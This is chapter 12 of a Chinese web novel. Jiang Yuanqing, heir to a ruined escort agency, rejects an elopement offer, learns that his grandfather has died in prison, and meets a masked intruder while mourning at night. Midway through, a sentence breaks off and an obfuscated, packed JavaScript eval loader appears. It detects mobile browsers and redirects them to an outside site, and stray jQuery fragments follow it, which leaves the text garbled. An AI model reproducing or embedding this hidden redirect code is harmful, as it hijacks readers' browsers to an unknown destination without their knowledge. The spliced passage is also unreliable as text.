12. 第 12 章

作品:《契约神

    江宅,江远倾身着孝服坐在厅堂内,查阅着手中各地分局的账本。


    “将分局里的兄弟都遣散,务必将补偿的银两发放到位。另外,能变卖的都变卖。总局里和父亲一同护镖、死于盗匪手里的兄弟,务必都发放抚恤的银两。”


    “是。”马镖头站在一旁连忙躬身道。


    “公子,咱们真的要变卖家产,对宁王进行补偿么?”


    “宁王已经写了奏折,在皇上那里告了外祖父的状。说父亲护送不力,连山野里的贼寇都抵挡不住。”


    “这说的是什么话?本来这趟就是刘承贤硬要我们去送的,哪里晓得冒出来这么多贼寇?现在老爷子锒铛入狱,他刘承贤倒好端端的,圣上怎得如此偏心?”


    “这些话可不能乱说。”江远倾厉声道,“毕竟万寿节礼是在我们手上丢失,变卖家产只是权宜之计,对宁王适当补偿也算是助外祖父脱身。”


    “我们总镖头可是死在了贼寇手里,还有那么多死去的兄弟,皇上无丝毫怜悯不说,还将老爷子打入牢狱,世上有这个道理么?”


    “在我这里逞一时之快就罢了,这些话可不许在外头的人面前说,否则定要招惹是非。”


    “知道了。”马镖头一脸不情愿地答道。


    “可从那些死去的贼寇身上发现什么?”


    “这些人来历不明,当地人从未见过。”


    “来历不明,又知晓爹爹的行程和武艺,不是镖局里出了叛徒,便是有人在背后弄鬼。”


    “镖局里的兄弟都是知根知底的,一同前去的都死光了,剩下的几名兄弟也受了重伤,怎么可能有叛徒?”


    江远倾扶额长叹一声:“爹爹临走前我就曾劝过他此行凶险,可他还是去了。我想过会有人从中作乱,却没想到他竟要了爹爹的命。如此斩尽杀绝,这背后的只能是朝廷中人了,势必要将外祖父彻底扳倒。”


    “朝廷中人……”马镖头冷笑一声,“除了刘承贤还会有谁做出这事?”


    “他圣恩在身,我等没有证据,又如何能撼动?”


    “对了,皇上说要对镖局进行排查,已有好几个兄弟被带到衙门里去了。”


    “支些银子去衙门里打点,叫他们配合询问,勿起冲突。”


    “好。还有,大部分雇主听闻我们镖局丢了万寿节礼,都毁约了,但有几个雇主曾与总镖头交情颇深,他们还希望我们镖局来替他们运送。”


    “既是父亲的好友,又对我们颇为信任,哪有不送的道理。”


    “好,那我便应承下了。”


    “嗯。”


    “公子。”说话间,江全走了进来,朝江远倾行了个礼。


    “什么事?”


    江全瞥了眼马镖头,走上前凑在江远倾耳边道:“巧烟要见公子,说是有要事。”


    “我知道了。”江远倾朝马镖头道:“你先回去罢。”


    “是。”马镖头转身离去。


    “带我去见她。”


    后门吱呀一声打开,江远倾跟在江全身后,见到了站在门口的巧烟。她眼眶通红,面容憔悴,见到江远倾后连忙走上前。


    “江公子,我有话要和你说。”


    “上回我不是都和你说清楚了么?”江远倾语气十分平淡。


    听了这话,巧烟咬紧嘴唇,手紧紧地扯住衣角,却并没有要走的意思。


    “有什么话,你就说吧。”


    “我要和你单独说。”


    江远倾瞥了眼江全,江全连忙后退几步:“我先回去,有事的话公子您再唤小的。”


    “嗯。”


    见江全走了,巧烟这才开口道:“公子,我今天来是要告诉您,我们家老爷要将小姐许配给他人了。”


    江远倾的嘴角不经意地轻轻抽动,神情凝滞了一瞬。


    “是么?”他低下头,目光不知在锁定何处,直愣愣地立在原地。


    沉默片刻后,他终于抬起头,一脸云淡风轻道:“是哪家的公子?”


    “吏部侍郎家的孙子,年纪与小姐相仿。”


    “赵伯父是识时务的人,吏部俞侍郎与圣上身边的红人刘承贤是挚交,想必吏部侍郎的孙子将来也会有个好前程。”


    “这就是您的回答么?”


    江远倾淡然地直视她眼中的怒火,却只坚持了片刻便转移目光,看向别处。


    “巧烟姑娘想要什么回答?”


    “亏得小姐对你一往情深,小姐为了与老爷抗衡,已绝食数日,你却如此处之泰然。”


    见他沉默不语,巧烟又继续说道:“小姐今日叫我来,原是想抛弃一切与你私奔,可是你却如此无情无义,小姐的真心也算是喂了狗,错付了!”


    “这份真心,远倾在此谢过。只是父母之命媒妁之言,劝你家小姐还是莫要违逆。远倾有娘亲需要赡养,还有镖局需要操持,外祖父也尚在狱中。私奔之事不但会让远倾背负不孝的骂名,也会辱了兰儿姑娘的清誉,实属下策。”


    “好,江公子考虑得实在周全。奴婢这就回去将您的话一字一句地转达给小姐,让她彻底断了这念想。”巧烟气得浑身颤抖,整张脸涨得通红。


    “还请巧烟姑娘回去多多劝解你家小姐,绝食伤身。”


    “公子若真关心我家小姐,就自己去和她说。奴婢只是来替我家小姐传话的,可没说能为公子传话。”


    江远倾顿时语塞,哑口无言。


    “奴婢已将小姐的话带到,告辞。”说罢,巧烟气冲冲地离去。


    江远倾看着她离去的背影,心中五味杂陈。


    “公子,你们说什么了?我从未见过巧烟如此生气的模样。”江全见巧烟离去,连忙从门里走出来。


    “没什么。”说完,江远倾拿出怀里的手帕,咳了起来。


    “公子,你怎么了?”


    “许是吹了寒风,你扶我回去罢。”


    “好。”说罢,江全小心翼翼地搀扶江远倾进门。


    还未进去厢房,便听得厅堂里有人在哭喊。江远倾远远地望去,竟是外祖母身边的那位小厮跪在地上抽泣。而娘亲正站在他的面前,面容极度痛苦,她的身体因过度悲伤而颤抖。


    “娘,发生什么事了?”江远倾连忙撒开江全搀扶的胳膊,快步上前。


    “你外祖父在狱中撞墙自尽了……”


    “什么……”江远倾一个踉跄跌坐在地上,江全赶忙扶住他的胳膊。


    “怎会如此,圣上并未降罪,为何外祖父会自尽?”江远倾脸色惨白,全身无力地瘫坐在地上。


    “小的已经派人去狱中打点,可谁曾想那狱卒拿钱不办事,时不时地就以莫须有的罪名将老爷子拉出来拷打,老爷子实在受不了,就……撞墙自尽了……这些还是另一位好心的狱卒悄悄告诉我的……”说罢,那小厮泣不成声。


    “我不信,外祖父是何等坚韧的人,怎会自行了断?他们说自尽便是自尽么?活要见人,死要见尸。快,派人去问问,哪怕死了,也该有个全尸!”


    “小的知道了。”那小厮立即起身朝外跑去。


    “远倾……”江夫人脸上的泪水滑过脸颊,声音因哭泣而沙哑,“为何我们江家屡经磨难?是不是为娘的错?”


    “娘,你为何这样想?”江远倾支撑起身子,挽住江夫人的手臂。


    “若不是为了救我,你爹便不会与我相识,更不会走这趟镖,也就不会命丧黄泉,你外祖父也不会……”说完江夫人又落下几滴眼泪,她的眼睛布满血丝,眼角因流泪过多而变得红肿。


    “不,娘您不要这样想。这些都是意外,与您无关。”


    “那为何上天要这般对待江家?你外祖父在朝中为国为民,你父亲在镖局勤勤恳恳,他们做错了什么?为什么他刘承贤高枕无忧,你父亲就要死在荒无人烟的野林岗?”


    江远倾望着母亲泪流满面地哭嚎,却答不上半句。


    “娘,您不要伤心过度,爹和外祖父也不会想看到您这样的。您还有我,孩儿还在这里。”


    “远倾……”江夫人哭泣的声音渐渐无力。


    “曼儿,快带夫人去房里歇息,让夫人喝些茶水。”


    “是。”曼儿走过来挽住江夫人的胳膊朝厢房里走去。


    夜幕降临,江远倾面无血色地坐在厅堂中。


    江全小心翼翼地端来茶水放在桌上,他悄悄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611559|156119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞥了眼江远倾的面容,不禁鼻头发酸。


    “公子,您喝口茶罢,您从白天到现在滴水未进,什么也不吃,会坏了身子的。”


    “知道了。”江远倾面无表情道,却仍未看那杯茶一眼。


    “公子,刚刚曼儿说夫人已经喝了安神的汤药睡下了。”


    “那便好。”


    江全看他一副似魂魄被抽离的模样,忍不住落泪:“公子,求求您了,您喝点水罢,就算不为了您自己,也要为夫人着想,夫人现在可不能再失去您啊。”


    “江全,我知道了。”江远倾的目光终于落在那杯茶上,他伸手握住茶杯,沉思了一番。


    这时,屋外传来脚步声,江全连忙上前查看,是外祖母的小厮回来了。


    “如何?找到了么?”江远倾放下茶杯,一脸焦急地问道。


    那小厮未立即应答,满脸苦色地摇摇头:“没有,我们问了所有的狱卒,没人知道老爷子的尸身在哪儿。有位狱卒说,死在牢里的犯人都卷了草席拉去乱葬岗埋了。”


    听了这话,江远倾愣了半晌才慢慢道:“我知道了,你回去罢。”


    江远倾摇摇晃晃坐回座位,沉默片刻后,他语气低沉道:“拿些纸钱和香烛来。”


    江全不敢违逆,连忙出门去拿。


    拿到纸钱和香烛后,江远倾拍了拍江全的肩膀:“你回去歇着罢。”


    “公子……”江全不甚放心。


    “不要跟着我。”说完,他兀自朝门外走去。


    此时已是深夜,万籁俱寂,只有江远倾一步一步踩在积雪上的声音。寂静的夜色如同深不见底的黑色漩涡,将他的身影逐渐吞没。


    江远倾行到院中的池塘边,抓了把干草铺在地上跪下,又用火折子点了香烛照明。烛火摇曳,水面上反射着暖黄色的光芒,在夜间十分刺眼。江远倾将纸钱折好放进火盆里,用火折子点燃。


    “外公,远倾无能,连您的尸身都无法找到。他们说您撞墙自尽,可远倾不相信。朝中尔虞我诈,那么多的风浪您都抗过来了,怎会……”江远倾嘴角微微颤抖,泪水夺眶而出。


    “爹爹,您要我一心辅佐圣上,明知护送万寿节礼是一个陷阱,也要往里跳。可是您敬重的圣上对您的死置之不理,还将外公关进牢狱,现在外公也含冤而去,他真的值得你们这么做么?”


    “今日娘亲问我,为何作恶的人高枕无忧,而你们明明安分守己却不得善终,孩儿真的不知该如何回答……”


    泪水模糊了他的双眼,火盆里火焰升腾,照亮了他痛苦的面容。


    “爹爹,您曾说,立大事者需有坚忍不拔之志。可是现在,孩儿……孩儿有些支撑不下去了,孩儿好像迷路了。您能告诉我,接下来的路该怎么走么?”


    火盆里的纸钱渐渐化为灰烬,炽热的光芒逐渐收敛为点点火星,与黑暗融为一体。


    烛火轻轻闪动,又恢复寂静。夜色死一般的沉寂,压得他喘不过气来。


    突然,墙边的积雪轰然掉落,碎在地上,掀起一阵雪雾。江远倾循声望去,围墙上有个黑影穿过。


    “谁?谁在那里?”江远倾端起香烛,走近几步。


    那人似乎没有站稳,墙上的积雪又十分湿滑,他竟从墙上摔了下来。


    在烛火的照耀下,那人缓缓站起身,转过头时却是一副面具。


    “你是何人?”


    “你是江远倾么?”那黑影问道。


    “你找我何事?”


    黑影欲回答,远处却传来江全的喊叫声打断了他。


    “公子!公子!你在哪儿?”


    江远倾下意识回头看江全,等再去寻那黑影时却是空无一人。


    看见远处的烛火,江全跑了过来:“公子,夜已深了,您还是回去罢。”


    “不是说了让你不要跟着我么?”


    “公子,求求您了,只要您回去休息,明日怎么处罚小的都成。”


    “你去将池边的东西一并收拾好。”


    “是公子。”说完,江全走到池边拿上香烛和火盆。


    江远倾回头看向围墙,那人影不知跑去了哪里,黑漆漆的,什么也没有。